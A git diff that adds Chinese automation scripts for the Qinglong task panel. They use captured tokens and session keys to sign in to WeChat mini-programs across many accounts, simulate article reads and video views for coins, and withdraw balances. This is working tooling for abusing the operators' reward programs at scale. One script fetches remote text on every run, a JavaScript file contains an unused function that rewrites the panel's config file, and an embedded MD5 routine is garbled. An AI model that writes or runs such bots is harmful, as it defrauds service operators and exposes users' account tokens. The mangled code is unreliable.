MiniProgramEnv/android", + "Content-Type": "application/json" + } + data = { + "token": token, + "withdrawalId": 8, + "appid": appid, + "openid": openid + } + response = requests.post(url, headers=headers, json=data) + json_response = response.json() + if json_response.get('status') == "0000": + amount = json_response["data"]["amount"] + codemsg = json_response["codemsg"] + print(f"提现结果{codemsg},提现后余额还剩{amount}") + else: + codemsg = json_response["codemsg"] + print(f"提现失败{codemsg}") + +if __name__ == "__main__": + mkkg = os.environ.get('mkkg') + if not mkkg: + print("请设置环境变量mkkg") + else: + kghw_list = mkkg.split('\n') + for num, kghw_item in enumerate(kghw_list, start=1): + appid, openid, refreshToken = kghw_item.split('#') + print(f"=====开始执行第{num}个账号任务=====") + print("---------开始执行账号刷新---------") + refreshed_token = refresh_token(refreshToken) + if refreshed_token: + print("---------开始执行账号签到---------") + sign(refreshed_token, appid, openid) + time.sleep(random.randint(10, 30)) + print("---------开始执行账号提现---------") + tx(refreshed_token, openid, appid) + time.sleep(random.randint(10, 30)) + print("---------账号任务执行完毕---------") \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/金杜丹小程序/2025-06-28_金杜丹_224fde1a.py b/脚本库/微信小程序/抓包版/金杜丹小程序/2025-06-28_金杜丹_224fde1a.py new file mode 100644 index 0000000..f585977 --- /dev/null +++ b/脚本库/微信小程序/抓包版/金杜丹小程序/2025-06-28_金杜丹_224fde1a.py @@ -0,0 +1,126 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%87%91%E6%9D%9C%E4%B8%B9.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%87%91%E6%9D%9C%E4%B8%B9.py +# Repo: jdqlscript/toulu +# Path: 金杜丹.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 224fde1a86ef16df82bbdcf49c53e800e36be47f424312344fd46d9e43690a6a +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +''' +new Env('金杜丹小程序'); +变量名字JDD抓tianxin.jmd724.com域名下的access_token多号@ + +入口:https://i.postimg.cc/13GZ6Kn0/mmexport1721791764278.png + + +有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge + +长期套餐大额流量电话卡办理地址:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709 + + +''' + +import requests +import os +class AC: + def __init__(self, token): + self.token = token + self.headers = { + 'User-Agent': "Mozilla/5.0 (Linux; Android 12; RMX3562 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.122 Mobile Safari/537.36 XWEB/1260059 MMWEBSDK/20240501 MMWEBID/2307 MicroMessenger/8.0.50.2701(0x28003253) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android" + } + self.article_ids = self.fetch_ids() # 初始化时获取文章 IDs + self.video_ids = self.fetch_video_ids() # 初始化视频 ID + def sign(self): + url = f"https://tianxin.jmd724.com/index.php?r=client/v1/task/sign-up&access_token={self.token}" + response = requests.get(url, headers=self.headers) + response_data = response.json() + if response_data['code'] == 0: + gold_num = response_data["data"]["gold_num"] + msg = response_data["msg"] + print(f"{msg} 获得 {gold_num} 金币") + else: + msg = response_data["msg"] + print(msg) + def fetch_ids(self): + url = "https://tianxin.jmd724.com/index.php?r=client/v1/article/list" + response = requests.get(url, headers=self.headers) + response_data = response.json() + ids = [] + for item in response_data.get("data", {}).get("list", [])[:5]: + article_id = item.get("id") + ids.append(article_id) + return ids + + def fetch_video_ids(self): + url = "https://tianxin.jmd724.com/index.php?store_id=1&r=client/v1/article/list&pageSize=10&article_type=2" + response = requests.get(url, headers=self.headers) + response_data = response.json() + ids = [] + for item in response_data.get("data", {}).get("list", [])[:5]: + article_id = item.get("id") + ids.append(article_id) + return ids + def red(self): + for article_id in self.article_ids: + url = f"https://tianxin.jmd724.com/index.php?r=client/v1/article/detail&article_id={article_id}&access_token={self.token}" + response = requests.get(url, headers=self.headers) + response_data = response.json() + if response_data['code'] == 0: + print(f"开始阅读文章编号{article_id}") + else: + msg = response_data["msg"] + print(msg) + def gold(self): + for article_id in self.article_ids: + url = "https://tianxin.jmd724.com/index.php?r=client/v1/article/read-gold" + data = { + 'article_id': article_id, + 'access_token': self.token + } + response = requests.post(url, headers=self.headers, data=data) + response_data = response.json() + if response_data['code'] == 0: + print(f"成功获取文章编号{article_id} 的金币奖励") + else: + msg = response_data["msg"] + print(msg) + def Videoviewing(self): + for video_ids in self.video_ids: + url = f"https://tianxin.jmd724.com/index.php?r=client/v1/article/detail&article_id={video_ids}&access_token={self.token}" + response = requests.get(url, headers=self.headers) + response_data = response.json() + if response_data['code'] == 0: + print(f"开始观看视频编号{video_ids}") + else: + msg = response_data["msg"] + print(msg) + def VideoRewards(self): + for video_ids in self.video_ids: + url = "https://tianxin.jmd724.com/index.php?r=client/v1/article/read-gold" + data = { + 'article_id': video_ids, + 'access_token': self.token + } + response = requests.post(url, headers=self.headers, data=data) + response_data = response.json() + if response_data['code'] == 0: + print(f"成功获取视频编号{video_ids} 的金币奖励") + else: + msg = response_data["msg"] + print(msg) +if __name__ == "__main__": + tokens = os.environ.get('JDD') + if not tokens: + print("获取账号失败,请检查配置是否正确") + else: + tokens_list = tokens.split('@') + for index, token in enumerate(tokens_list, start=1): + print(f"=====开始执行第{index}个账号任务=====") + ac = AC(token) + ac.sign() + ac.red() + ac.gold() + ac.Videoviewing() + ac.VideoRewards() diff --git a/脚本库/微信小程序/抓包版/长虹智慧家居每日签到/2026-05-14_changhongmeiling_abc462ca.py b/脚本库/微信小程序/抓包版/长虹智慧家居每日签到/2026-05-14_changhongmeiling_abc462ca.py new file mode 100644 index 0000000..2a0a464 --- /dev/null +++ b/脚本库/微信小程序/抓包版/长虹智慧家居每日签到/2026-05-14_changhongmeiling_abc462ca.py @@ -0,0 +1,51 @@ +# Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/changhongmeiling.py +# Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/changhongmeiling.py +# Repo: smallfawn/QLScriptPublic +# Path: daily/changhongmeiling.py +# UploadedAt: 2026-05-14T17:47:57+08:00 +# SHA256: abc462caab783d5dccff1eff251f9e2fbbd5f6bda3341c2b2823879f663b6045 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +# 微信小程序长虹智慧家居 +# new Env("长虹智慧家居每日签到") +# 环境变量 chmlck 取url请求头中的token, +#变量格式 token#备注,多账号换行 +#撸实物加视频会员 +# +import os +import requests + +accounts = os.getenv("chmlck", "").splitlines() +print("☞☞☞ 长虹美菱每日签到 ☜☜☜\n") +if not accounts: + print("未找到任何账号信息。") +else: + for account in accounts: + if not account.strip(): + continue + try: + token, note = account.split("#") + except ValueError: + print(f"格式错误: {account}") + continue + + url = "https://hongke.changhong.com/gw/applet/aggr/signin" + params = {'aggrId': "608"} + headers = { + 'User-Agent': "Mozilla/5.0 (Linux; Android 14; 23116PN5BC Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220099 MMWEBSDK/20240404 MMWEBID/2445 MicroMessenger/8.0.49.2600(0x28003133) WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 MiniProgramEnv/android", + 'Accept-Encoding': "gzip, deflate", + 'Content-Type': "application/json", + 'Token': token.strip() + } + + try: + response = requests.post(url, params=params, headers=headers) + if response.status_code == 200: + print(f"{note.strip()}:签到成功") + elif response.status_code == 400: + print(f"{note.strip()}:请勿重复签到") + else: + print(f"{note.strip()}:响应状态码 {response.status_code} - {response.text}") + except requests.RequestException as e: + print(f"{note.strip()}:请求失败 - {e}") \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/长虹美菱/2025-06-28_长虹美菱_9c11ffd0.py b/脚本库/微信小程序/抓包版/长虹美菱/2025-06-28_长虹美菱_9c11ffd0.py new file mode 100644 index 0000000..ecc13b1 --- /dev/null +++ b/脚本库/微信小程序/抓包版/长虹美菱/2025-06-28_长虹美菱_9c11ffd0.py @@ -0,0 +1,64 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%95%BF%E8%99%B9%E7%BE%8E%E8%8F%B1.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%95%BF%E8%99%B9%E7%BE%8E%E8%8F%B1.py +# Repo: jdqlscript/toulu +# Path: 长虹美菱.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 9c11ffd02b98f33021e88c0c56805947899261cb0d3e1ee7cc14c9a3185103e7 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#环境变量 chmlck 取url请求头中的token +#变量格式 token#备注,多账号换行 +#微信扫码打开:https://i.postimg.cc/kGQrQ79B/Screenshot-2024-08-21-17-17-34-718-com-tencent-mm-edit.jpg +或者复制打开:#小程序://长虹美菱会员服务/4Tyqa3BKqs1AW0a +#有问题联系3288588344 +#频道:https://pd.qq.com/s/672fku8ge + + + + + + + +import os +import requests +response = requests.get("https://github.com/3288588344/toulu/blob/main/tl.txt") +response.encoding = 'utf-8' +txt = response.text +print(txt) + + +accounts = os.getenv("chmlck", "").splitlines() +print("☞☞☞ 长虹美菱每日签到 ☜☜☜\n") + +if not accounts: + print("未找到任何账号信息。") +else: + for account in accounts: + if not account.strip(): + continue + try: + token, note = account.split("#") + except ValueError: + print(f"格式错误: {account}") + continue + + url = "https://hongke.changhong.com/gw/applet/aggr/signin" + params = {'aggrId': "608"} + headers = { + 'User-Agent': "Mozilla/5.0 (Linux; Android 10; Mobile Safari/537.36)", + 'Accept-Encoding': "gzip, deflate", + 'Content-Type': "application/json", + 'Token': token.strip() + } + + try: + response = requests.post(url, params=params, headers=headers) + if response.status_code == 200: + print(f"{note.strip()}:签到成功") + elif response.status_code == 400: + print(f"{note.strip()}:请勿重复签到") + else: + print(f"{note.strip()}:响应状态码 {response.status_code} - {response.text}") + except requests.RequestException as e: + print(f"{note.strip()}:请求失败 - {e}") diff --git a/脚本库/微信小程序/抓包版/雪花勇闯天涯/2025-06-28_勇闯天涯superX_c2490fa1.js b/脚本库/微信小程序/抓包版/雪花勇闯天涯/2025-06-28_勇闯天涯superX_c2490fa1.js new file mode 100644 index 0000000..eacd8b0 --- /dev/null +++ b/脚本库/微信小程序/抓包版/雪花勇闯天涯/2025-06-28_勇闯天涯superX_c2490fa1.js @@ -0,0 +1,641 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%8B%87%E9%97%AF%E5%A4%A9%E6%B6%AFsuperX.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%8B%87%E9%97%AF%E5%A4%A9%E6%B6%AFsuperX.js +// # Repo: jdqlscript/toulu +// # Path: 勇闯天涯superX.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: c2490fa158966609851a759fb578f3ce38387e3e6462087454b32dbced4e4128 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +小程序:勇闯天涯superX +抓域名superx.crb.cn +查看请求头sessionKey=XXXXXXXXXXXX +变量 +export xuehuahd='XXXXXXX' +多号@或换行 + +TL库 +QQ频道:https://pd.qq.com/s/672fku8ge +tg频道:https://t.me/TLtoulu +cron: 5 9 * * * +增加打印签到信息 +更新cron +*/ + + +const $ = new Env('雪花勇闯天涯'); +const {log} = console; + +const Notify = 0; //0为关闭通知,1为打开通知,默认为1 +const debug = 0; //0为关闭调试,1为打开调试,默认为0 +////////////////////// + +let xuehuahd = ($.isNode() ? process.env.xuehuahd : $.getdata("xuehuahd")) || ""; +let xuehuahdArr = []; +let msg = ''; +let accountTips = ''; +var timestamp = Math.round(new Date().getTime()/1000).toString(); +!(async () => { + if (typeof $request !== "undefined") { + await GetRewrite(); + } else { + if (!(await Envs())) + return; + else { + log(`\n\n============================================= \n脚本执行 - 北京时间(UTC+8):${new Date( + new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000).toLocaleString()} \n=============================================\n`); + + + log(`\n=================== 共找到 ${xuehuahdArr.length} 个账号 ===================`) + if (debug) { + log(`【debug】 这是你的全部账号数组:\n ${xuehuahdArr}`); + } + + for (let index = 0; index < xuehuahdArr.length; index++) { + let num = index + 1 + log(`\n========= 开始【第 ${num} 个账号】=========\n`) + accountTips = `账号【${num}】`; + var temp = xuehuahdArr[index]; + //判断下格式 + if (temp.indexOf('&') >= 0) { + var info = temp.split('&'); + var theRequest = new Object(); + for (var i = 0; i < info.length; i++) { + theRequest[info[i].split("=")[0]] = unescape(info[i].split("=")[1]); + } + xuehuahd = theRequest.data; + } else { + xuehuahd = xuehuahdArr[index]; + } + +await addSign() +await GetUserInfo() + } + await SendMsg(msg); + } + } +})() + .catch((e) => log(e)) + .finally(() => $.done()) + + +async function addSign() { + +var options = { + + url: `https://superx.crb.cn/Api/sign/addSign?sessionKey=`+xuehuahd, + headers: { + Host: 'superx.crb.cn', + Connection: 'keep-alive', + xweb_xhr: '1', + 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF', + 'Content-Type': 'application/json', + Accept: '*/*', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + Referer: 'https://servicewechat.com/wx13c6d1dffe3b32ec/183/page-frame.html', + 'Accept-Language': 'en-us,en', + 'Accept-Encoding': 'gzip, deflate', + 'content-type': 'text/plain' + + }, +body:'{}' +}; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + return new Promise((resolve) => { + $.post(options, async (error, response, data) =>{ + try { + let result= JSON.parse(data); + if (debug) { + log(`\n\n【debug】===============这是 返回result==============`); + log(data) + } + if (result.code == 0) { + log(result.message) + } else + log(result.message) + + } catch (e) { + log(`异常,原因:${e},返回:${data}`) + } finally { + resolve(); + } + }) + }) +} +async function GetUserInfo() { + +var options = { + + url: `https://superx.crb.cn/Api/b1/GetUserInfo?sessionKey=`+xuehuahd, + headers: { + Host: 'superx.crb.cn', + Connection: 'keep-alive', + xweb_xhr: '1', + 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF', + 'Content-Type': 'application/json', + Accept: '*/*', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + Referer: 'https://servicewechat.com/wx13c6d1dffe3b32ec/183/page-frame.html', + 'Accept-Language': 'en-us,en', + 'Accept-Encoding': 'gzip, deflate', + 'content-type': 'text/plain' + + }, + +}; + if (debug) { + log(`\n【debug】=============== 这是 请求 url ===============`); + log(JSON.stringify(options)); + } + return new Promise((resolve) => { + $.get(options, async (error, response, data) =>{ + try { + let result= JSON.parse(data); + if (debug) { + log(`\n\n【debug】===============这是 返回result==============`); + log(data) + } + if (result.code == 0) { + log('score: '+result.data.score) + msg += 'score: '+result.data.score + } else + log(result.message) + + } catch (e) { + log(`异常,原因:${e},返回:${data}`) + } finally { + resolve(); + } + }) + }) +} +// ============================================重写============================================ \\ +async function GetRewrite() { + if ($request.url.indexOf("/b1/GetUserInfo") > -1) { + const ck1 = $request.url; + ck = ck1.match(/sessionKey=(.*)/)[1] + if (xuehuahd) { + if (xuehuahd.indexOf(ck) == -1) { + xuehuahd = xuehuahd + "@" + ck; + $.setdata(xuehuahd, "xuehuahd"); + let List = xuehuahd.split("@"); + $.msg(`【${$.name}】` + ` 获取第${List.length}个 ck 成功: ${ck} ,不用请自行关闭重写!`); + } + } else { + $.setdata(ck, "xuehuahd"); + $.msg(`【${$.name}】` + ` 获取第1个 ck 成功: ${ck} ,不用请自行关闭重写!`); + } + } +} +function md5(a){function b(a,b){return a<>>32-b}function c(a,b){var c,d,e,f,g;return e=2147483648&a,f=2147483648&b,c=1073741824&a,d=1073741824&b,g=(1073741823&a)+(1073741823&b),c&d?2147483648^g^e^f:c|d?1073741824&g?3221225472^g^e^f:1073741824^g^e^f:g^e^f}function d(a,b,c){return a&b|~a&c}function e(a,b,c){return a&c|b&~c}function f(a,b,c){return a^b^c}function g(a,b,c){return b^(a|~c)}function h(a,e,f,g,h,i,j){return a=c(a,c(c(d(e,f,g),h),j)),c(b(a,i),e)}function i(a,d,f,g,h,i,j){return a=c(a,c(c(e(d,f,g),h),j)),c(b(a,i),d)}function j(a,d,e,g,h,i,j){return a=c(a,c(c(f(d,e,g),h),j)),c(b(a,i),d)}function k(a,d,e,f,h,i,j){return a=c(a,c(c(g(d,e,f),h),j)),c(b(a,i),d)}function l(a){for(var b,c=a.length,d=c+8,e=(d-d%64)/64,f=16*(e+1),g=new Array(f-1),h=0,i=0;c>i;)b=(i-i%4)/4,h=i%4*8,g[b]=g[b]|a.charCodeAt(i)<>>29,g}function m(a){var b,c,d="",e="";for(c=0;3>=c;c++)b=a>>>8*c&255,e="0"+b.toString(16),d+=e.substr(e.length-2,2);return d}function n(a){a=a.replace(/\r\n/g,"\n");for(var b="",c=0;cd?b+=String.fromCharCode(d):d>127&&2048>d?(b+=String.fromCharCode(d>>6|192),b+=String.fromCharCode(63&d|128)):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128),b+=String.fromCharCode(63&d|128))}return b}var o,p,q,r,s,t,u,v,w,x=[],y=7,z=12,A=17,B=22,C=5,D=9,E=14,F=20,G=4,H=11,I=16,J=23,K=6,L=10,M=15,N=21;for(a=n(a),x=l(a),t=1732584193,u=4023233417,v=2562383102,w=271733878,o=0;o { + xuehuahdArr.push(item); + }); + } else if (xuehuahd.indexOf("\n") != -1) { + xuehuahd.split("\n").forEach((item) => { + xuehuahdArr.push(item); + }); + } else { + xuehuahdArr.push(xuehuahd); + } + } else { + log(`\n 【${$.name}】:未填写变量 xuehuahd`) + return; + } + return true; +} + +// ============================================发送消息============================================ \\ +/** + * 添加消息 + * @param str + * @param is_log + */ +function addNotifyStr(str, is_log = true) { + if (is_log) { + log(`${accountTips}${str}\n`) + } + msg += `${accountTips}${str}\n` +} + +async function SendMsg(message) { + if (!message) + return; + + if (Notify > 0) { + if ($.isNode()) { + var notify = require('./sendNotify'); + await notify.sendNotify($.name, message); + } else { + $.msg(message); + } + } else { + log(message); + } +} + + + + + + +/** + * 随机数生成 + */ +function randomString(e) { + e = e || 32; + var t = "QWERTYUIOPASDFGHJKLZXCVBNM1234567890", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +/** + * 随机整数生成 + */ +function randomInt(min, max) { + return Math.round(Math.random() * (max - min) + min) +} + +/** + * 获取毫秒时间戳 + */ +function timestampMs() { + return new Date().getTime(); +} + +/** + * 获取秒时间戳 + */ +function timestampS() { + return Date.parse(new Date()) / 1000; +} + +/** + * 获取随机诗词 + */ + + +/** + * 修改配置文件 + */ +function modify() { + + fs.readFile('/ql/data/config/config.sh', 'utf8', function (err, dataStr) { + if (err) { + return log('读取文件失败!' + err) + } else { + var result = dataStr.replace(/regular/g, string); + fs.writeFile('/ql/data/config/config.sh', result, 'utf8', function (err) { + if (err) { + return log(err); + } + }); + } + }) +} + + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("XXXX") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: {script_text: t, mock_type: "cron", timeout: r}, + headers: {"X-Key": o, Accept: "*/*"} + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/脚本库/微信小程序/抓包版/霸王茶几/2025-06-28_霸王茶几_5f665c80.py b/脚本库/微信小程序/抓包版/霸王茶几/2025-06-28_霸王茶几_5f665c80.py new file mode 100644 index 0000000..af64031 --- /dev/null +++ b/脚本库/微信小程序/抓包版/霸王茶几/2025-06-28_霸王茶几_5f665c80.py @@ -0,0 +1,48 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%87%A0.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E9%9C%B8%E7%8E%8B%E8%8C%B6%E5%87%A0.py +# Repo: jdqlscript/toulu +# Path: 霸王茶几.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 5f665c8069eda40c4ee2a079fc1c99dcbf08100f169cbb5627794b208ac68078 +# Category: 微信小程序/抓包版 +# Evidence: 